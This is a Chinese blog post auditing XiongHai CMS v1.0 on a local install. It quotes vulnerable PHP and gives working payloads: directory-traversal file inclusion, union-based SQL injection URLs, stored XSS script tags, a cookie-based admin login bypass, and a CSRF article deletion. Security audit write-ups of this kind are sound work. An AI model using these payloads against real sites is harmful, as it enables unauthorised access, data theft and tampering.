有空的時候就進行小型CMS的代碼審計,這次審計的對象是熊海CMS v1.0
本地環境安裝好了之后,可以看到提示安裝了鎖文件

說明重裝漏洞應該不會存在了,這時候丟進seay代碼審計系統的代碼也出結果了,挨個看看
<?php
//單一入口模式
error_reporting(0); //關閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等於index
include('files/'.$action.'.php'); //載入相應文件
?>
第一個疑似文件包含漏洞,對GET方式傳進的參數r進行了參數過濾,但是存在目錄穿越,黑盒嘗試了一下使用點 反斜杠截斷,無果,存在漏洞,但是只能包含本地php文件
創建一個phppinfo.php文件

本來是包含files文件夾下的php文件,通過目錄穿越我們嘗試包含phpinfo.php
http://127.0.0.1/xhcms_v1.0/?r=../../phpinfo

成功包含
第二個疑似文件包含漏洞也是同樣的利用方式,代碼都是類似的:
<?php
//單一入口模式
error_reporting(0); //關閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等於index
include('files/'.$action.'.php'); //載入相應文件
?>
再看一下疑似存在SQL注入的地方
$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
這里可以看到對於POST方式輸入的參數使用了addslashes函數進行過濾,所以這里的注入是一個誤報,看下一處疑似注入:
在editcolumn.php文件中,存在如下代碼:
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
可以看到對於GET方式輸入的id沒有進行過濾,應該是開發者的遺漏,我們到本地網站上進行測試
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1
輸入單引號之后頁面報錯
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27

我們知道后端的php代碼,就直接使用union select 進行注入
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20order%20by%2010--+
http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10--+
字段數為10,回顯位置有2,6,3,4,8

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,database(),3,4,5,user(),7,8,9,10--+
使用payload查詢database()和user()

成功獲取到了數據。
測試了一下后台的頭像文件上傳,上傳正常的圖片好像都不行

一直都是這個頭像,嘗試尋找XSS,CSRF和越權漏洞
if (isset($_GET["callback"])) {
if (preg_match("/^[\w_]+$/", $_GET["callback"])) {
echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
} else {
echo json_encode(array(
'state'=> 'callback參數不合法'
));
}
} else {
echo $result;
}
這里使用了htmlspecialchars函數進行過濾,$callback參數不存在XSS漏洞,而result變量在前面是固定的幾個選項,不能構造XSS
到聯系的留言列表里面去,可以看到用戶可以在這里留言,應該是我搭建的問題,導致用戶不能提交留言,但是有一個管理員回復,我們到后台界面留言回復,進行XSS攻擊。

使用payload:
<script>alert(1)</script>
<script>alert(/xss/);</script>
再到網站聯系界面,可以看到成功彈窗


同時我們審查元素,可以看到XSS的payload在頁面的元素中,對管理員回復留言並沒有進行限制,導致XSS漏洞的產生

關於越權漏洞,因為只有admin一個用戶,我們嘗試可不可以不輸入密碼進入后台
在后台主頁進行抓包:

可以看到Cookie里面有user=admin,很容易聯想到會不會是user所對應的名字就是它對應的權限,測試之后發現不是,因為就一個用戶,但是測試發現只要存在user,就能夠進入后台,如我們先將cookie刪除:

可以看到會將我們重定向至login界面
將cookie中的user改為一個並不存在的用戶SpringBird,可以看到后台登錄成功。


尋找CSRF漏洞,CSRF全程為跨站請求偽造,即可以劫持其他用戶去進行一些請求。我們嘗試劫持管理員的權限去刪除文章
點擊刪除文章之后抓包

使用burpsuite自帶的CSRF POC生成

在本地創建CSRF.html,訪問之


可以看到出現了按鈕,抓包的時候我們可以看到沒有token驗證,證明很有可能存在CSRF漏洞,這個時候瀏覽器還保存着管理員的身份信息,所以點擊Submit就能夠刪除對應的文章

成功進行CSRF攻擊。
繼續努力吧。
參考鏈接:
http://foreversong.cn/archives/387
